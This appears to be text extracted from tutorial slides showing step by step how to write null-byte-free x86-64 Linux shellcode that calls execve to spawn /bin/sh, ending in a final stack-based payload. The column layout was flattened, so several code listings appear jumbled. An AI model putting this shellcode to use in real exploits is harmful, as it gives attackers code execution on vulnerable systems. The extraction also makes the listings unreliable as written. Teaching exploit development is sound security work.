Creating bin/sh shellcode using
execve syscall
execve syscall
int execve( const char *filename, char *const argv[], char *const envp[] );
Syscall
number (59)
Address of Args passed Env variables
binary to the binary with null
executable with null terminated
with null terminated value
terminated value
value to
execute
Args of execve syscall in assembly
int execve( const char *filename, char *const argv[], char *const envp[] );
mov rax,59 Syscall
number (59)
Address of Args passed Env variables
binary to the binary with null
executable with null terminated
mov rdi, binary_exe with null terminated value
terminated value
value to
execute
mov rdx, env_var
mov rsi, args_passed
Assembly program
section .data
binary_file: db ”/bin/sh”,0
section .text int execve( const char *filename, char *const argv[], char *const envp[] );
global _start
_start:
mov rax,59
mov rdi,binary_file
mov rsi,0
mov rdx,0
syscall
Problems with this shellcode
section .data We cannot use
binary_file: db ”/bin/sh”,0 hardcoded address
of our data and null
bytes in shellcode
section .text
global _start
_start:
mov rax,59
mov rdi,binary_file
mov rsi,0
mov rdx,0
syscall
Solution
We will store this data on
section .data stack and use it in our
binary_file: db ”/bin/sh”,0 shellcode dynamically
section .text
global _start
_start: Stack
mov rax,59
mov rdi,binary_file
mov rsi,0
mov rdx,0
syscall 0
/bin//sh
0
Solution
We will store this data on
section .data stack and use it in our
binary_file: db ”/bin/sh”,0 shellcode dynamically
section .text
global _start
_start: Stack
mov rax,59
mov rdi,binary_file
mov rsi,0
mov rdx,0
syscall 0
/bin//sh
0
Shellcode using stack
section .text
global _start
_start:
mov rax,59
mov rdi, “/bin//sh”,0 Stack
mov rsi,0
mov rdx,0
syscall
Creating shellcode using stack
section .text
global _start
_start:
xor rax,rax
mov rax,59 add al,59
mov rdi, “/bin//sh”,0 Stack
mov rsi,0
mov rdx,0
syscall
Shellcode using stack
section .text
global _start
_start:
xor rax,rax
mov rax,59 add al,59
mov rdi, “/bin//sh”, 0 Stack
xor rcx,rcx
mov rsi,0 push rcx
mov rdx,0
syscall
0
Shellcode using stack
section .text
global _start
_start:
xor rax,rax
mov rax,59 add al,59
mov rdi, “/bin//sh”, 0 Stack
xor rcx,rcx
mov rsi,0 push rcx
mov rbx, 0x68732f2f6e69622f
mov rdx,0 push rbx
syscall
/bin//sh
0
Shellcode using stack
section .text
global _start
_start:
xor rax,rax
mov rax,59 add al,59
mov rdi, “/bin//sh”, 0 Stack
xor rcx,rcx
mov rsi,0 push rcx
mov rbx, 0x68732f2f6e69622f
mov rdx,0 push rbx
mov rdi,rsp
syscall
rsp /bin//sh
0
Shellcode using stack
section .text
global _start
_start:
xor rax,rax
mov rax,59 add al,59
mov rdi, “/bin//sh”, 0 Stack
xor rcx,rcx
mov rsi, 0 push rcx
mov rbx, 0x68732f2f6e69622f
mov rdx,0 push rbx
mov rdi,rsp
syscall
push rcx
rsp 0
/bin//sh
0
Shellcode using stack
section .text
global _start
_start:
xor rax,rax
mov rax,59 add al,59
mov rdi, “/bin//sh”, 0 Stack
xor rcx,rcx
mov rsi,0 push rcx
mov rbx, 0x68732f2f6e69622f
mov rdx,0 push rbx
mov rdi,rsp
syscall
push rcx
mov rsi,rsp
rsp 0
/bin//sh
0
Shellcode using stack
section .text
global _start
_start:
xor rax,rax
mov rax,59 add al,59
mov rdi, “/bin//sh”, 0 Stack
xor rcx,rcx
mov rsi,0 push rcx
mov rbx, 0x68732f2f6e69622f
mov rdx,0 push rbx
mov rdi,rsp
syscall
push rcx
mov rsi,rsp
mov rdx , rsp
rsp 0
/bin//sh
0
Final Shellcode using stack
section .text
section .text global _start
global _start
_start: _start:
xor rax,rax
mov rax,59 add al,59
mov rdi, “/bin//sh”, 0 Stack
xor rcx,rcx
mov rsi,0 push rcx
mov rbx, 0x68732f2f6e69622f
mov rdx,0 push rbx
mov rdi,rsp
syscall
push rcx
mov rsi,rsp
mov rdx , rsp
syscall
0
/bin//sh
0